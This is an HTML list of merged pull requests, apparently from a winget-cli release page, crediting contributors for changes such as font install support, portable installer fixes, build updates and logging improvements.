<li>Improve shared props layout by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3459246168" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5751" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5751/hovercard" href="https://github.com/microsoft/winget-cli/pull/5751">#5751</a></li>
<li>Fix portable path removal on upgrade by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dkbennett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dkbennett">@dkbennett</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3466370013" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5756" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5756/hovercard" href="https://github.com/microsoft/winget-cli/pull/5756">#5756</a></li>
<li>Minor update to release notes for v1.12 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3470589894" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5761" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5761/hovercard" href="https://github.com/microsoft/winget-cli/pull/5761">#5761</a></li>
<li>Font Install, Uninstall, additional Font List by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dkbennett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dkbennett">@dkbennett</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3187280381" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5566" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5566/hovercard" href="https://github.com/microsoft/winget-cli/pull/5566">#5566</a></li>
<li>Fix install source and final progress by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3474726946" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5764" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5764/hovercard" href="https://github.com/microsoft/winget-cli/pull/5764">#5764</a></li>
<li>Use winrt for time conversion by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3474607043" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5763" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5763/hovercard" href="https://github.com/microsoft/winget-cli/pull/5763">#5763</a></li>
<li>Change label_as_duplicate to false in workflow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3488439814" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5773" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5773/hovercard" href="https://github.com/microsoft/winget-cli/pull/5773">#5773</a></li>
<li>Remove openssl from sfsclient cgmanifest by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3489513239" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5775" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5775/hovercard" href="https://github.com/microsoft/winget-cli/pull/5775">#5775</a></li>
<li>Add admin check to uninstall of machine font by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dkbennett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dkbennett">@dkbennett</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3493108538" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5779" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5779/hovercard" href="https://github.com/microsoft/winget-cli/pull/5779">#5779</a></li>
<li>Add Font source group policy support by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dkbennett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dkbennett">@dkbennett</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3302306142" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5646" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5646/hovercard" href="https://github.com/microsoft/winget-cli/pull/5646">#5646</a></li>
<li>Improve window thread termination by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3497595140" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5781" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5781/hovercard" href="https://github.com/microsoft/winget-cli/pull/5781">#5781</a></li>
<li>Fix portable installer issues when installing to non ascii path by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yao-msft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yao-msft">@yao-msft</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3500476031" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5788" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5788/hovercard" href="https://github.com/microsoft/winget-cli/pull/5788">#5788</a></li>
<li>Remove experimental from Font Install, Uninstall, and source by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dkbennett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dkbennett">@dkbennett</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3500835567" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5791" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5791/hovercard" href="https://github.com/microsoft/winget-cli/pull/5791">#5791</a></li>
<li>Update NOTICE by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3511592613" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5801" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5801/hovercard" href="https://github.com/microsoft/winget-cli/pull/5801">#5801</a></li>
<li>Update localized strings by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3514675035" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5805" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5805/hovercard" href="https://github.com/microsoft/winget-cli/pull/5805">#5805</a></li>
<li>Bump version to 1.28 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3500474102" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5787" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5787/hovercard" href="https://github.com/microsoft/winget-cli/pull/5787">#5787</a></li>
<li>Move to latest 7.4 PS SDK by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3519731252" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5811" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5811/hovercard" href="https://github.com/microsoft/winget-cli/pull/5811">#5811</a></li>
<li>Enable MultiProcessorCompilation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3512401468" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5804" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5804/hovercard" href="https://github.com/microsoft/winget-cli/pull/5804">#5804</a></li>
<li>Remove mention of WinGet Insider program from the README by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3558459633" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5832" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5832/hovercard" href="https://github.com/microsoft/winget-cli/pull/5832">#5832</a></li>
<li>Ignore ReleaseStatic outputs and clean intermediates by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3572615072" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5848" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5848/hovercard" href="https://github.com/microsoft/winget-cli/pull/5848">#5848</a></li>
<li>Make Repair-WGPM a COM-aware cmdlet and rework version retrieval by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3568289044" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5842" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5842/hovercard" href="https://github.com/microsoft/winget-cli/pull/5842">#5842</a></li>
<li>Unregister signal handler by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3593025660" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5861" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5861/hovercard" href="https://github.com/microsoft/winget-cli/pull/5861">#5861</a></li>
<li>Support associating export units with packages in subdirectories of install location by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3588654688" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5859" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5859/hovercard" href="https://github.com/microsoft/winget-cli/pull/5859">#5859</a></li>
<li>Send host geo to sandbox by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3617875168" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5873" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5873/hovercard" href="https://github.com/microsoft/winget-cli/pull/5873">#5873</a></li>
<li>Update C++ nuget package references using new scripts by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3623390985" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5877" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5877/hovercard" href="https://github.com/microsoft/winget-cli/pull/5877">#5877</a></li>
<li>Update platform toolset by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3627539923" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5882" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5882/hovercard" href="https://github.com/microsoft/winget-cli/pull/5882">#5882</a></li>
<li>Extract event log for potential crash info by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3518633143" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5807" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5807/hovercard" href="https://github.com/microsoft/winget-cli/pull/5807">#5807</a></li>
<li>Update CODEOWNERS to include winget-developers by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3649373914" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5891" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5891/hovercard" href="https://github.com/microsoft/winget-cli/pull/5891">#5891</a></li>
<li>Fixes for VS2026 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3665007222" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5896" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5896/hovercard" href="https://github.com/microsoft/winget-cli/pull/5896">#5896</a></li>
<li>Additional logging limitations and control by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3639765799" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5888" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5888/hovercard" href="https://github.com/microsoft/winget-cli/pull/5888">#5888</a></li>
<li>Use hybrid CRT linkage instead of full static by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3713123433" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5913" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5913/hovercard" href="https://github.com/microsoft/winget-cli/pull/5913">#5913</a></li>
<li>Enable source reference to get thread globals for off-thread logging by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3496366336" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5780" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5780/hovercard" href="https://github.com/microsoft/winget-cli/pull/5780">#5780</a></li>
<li>Fix JSON, missing closing brace by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/doterik/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/doterik">@doterik</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3725749076" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5924" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5924/hovercard" href="https://github.com/microsoft/winget-cli/pull/5924">#5924</a></li>
<li>Test host for in-proc COM module validation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3700306254" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5910" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5910/hovercard" href="https://github.com/microsoft/winget-cli/pull/5910">#5910</a></li>
<li>Add sleep to allow background threads to quiesce by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3736500167" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5933" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5933/hovercard" href="https://github.com/microsoft/winget-cli/pull/5933">#5933</a></li>
<li>Allow suppressing configuration output on test by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3503762781" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5794" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5794/hovercard" href="https://github.com/microsoft/winget-cli/pull/5794">#5794</a></li>
<li>Enable Explicit toggling for sources (i.e. Enable/Disable) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dkbennett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dkbennett">@dkbennett</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3682063243" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5904" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5904/hovercard" href="https://github.com/microsoft/winget-cli/pull/5904">#5904</a></li>
<li>Fix fuzz build by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3736419630" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5932" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5932/hovercard" href="https://github.com/microsoft/winget-cli/pull/5932">#5932</a></li>
<li>Normalize directory separators when adding packages to path by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3504149438" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5796" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5796/hovercard" href="https://github.com/microsoft/winget-cli/pull/5796">#5796</a></li>
<li>Add sleep to another inproc test by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3740622150" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5935" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5935/hovercard" href="https://github.com/microsoft/winget-cli/pull/5935">#5935</a></li>
<li>Don't build inproc testbed for fuzzing by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3745058247" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5937" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5937/hovercard" href="https://github.com/microsoft/winget-cli/pull/5937">#5937</a></li>
<li>Create schema 1.12.0 folder by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3757864843" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5944" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5944/hovercard" href="https://github.com/microsoft/winget-cli/pull/5944">#5944</a></li>
<li>Fix names of 1.12 Schemas by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3757909234" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5945" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5945/hovercard" href="https://github.com/microsoft/winget-cli/pull/5945">#5945</a></li>
<li>Fix Font feature property name by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3758021326" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5946" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5946/hovercard" href="https://github.com/microsoft/winget-cli/pull/5946">#5946</a></li>
<li>Add check to ensure vcpkg triplets match across projects by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3771462095" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5950" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5950/hovercard" href="https://github.com/microsoft/winget-cli/pull/5950">#5950</a></li>
<li>Update release notes for v1.28 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3786109953" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5957" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5957/hovercard" href="https://github.com/microsoft/winget-cli/pull/5957">#5957</a></li>
<li>Details output option for <code>list</code> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3748529639" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5939" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5939/hovercard" href="https://github.com/microsoft/winget-cli/pull/5939">#5939</a></li>
<li>PowerShell Repair enhancements by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AmelBawa-msft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AmelBawa-msft">@AmelBawa-msft</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3395519393" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5711" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5711/hovercard" href="https://github.com/microsoft/winget-cli/pull/5711">#5711</a></li>
<li>Allow inproc callers to disable termination signal handlers by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3789855368" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5958" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5958/hovercard" href="https://github.com/microsoft/winget-cli/pull/5958">#5958</a></li>
<li>Add manifest version to WinGetUtilInterop by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/msftrubengu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/msftrubengu">@msftrubengu</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3794767294" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5964" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5964/hovercard" href="https://github.com/microsoft/winget-cli/pull/5964">#5964</a></li>
<li>Fixes for updating winget from winget by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3806959508" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5972" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5972/hovercard" href="https://github.com/microsoft/winget-cli/pull/5972">#5972</a></li>
<li>Diagnostics and fix for pipeline test failures by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3810295053" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5975" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5975/hovercard" href="https://github.com/microsoft/winget-cli/pull/5975">#5975</a></li>
<li>Escape caller in user agent header by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3840346247" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5998" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5998/hovercard" href="https://github.com/microsoft/winget-cli/pull/5998">#5998</a></li>
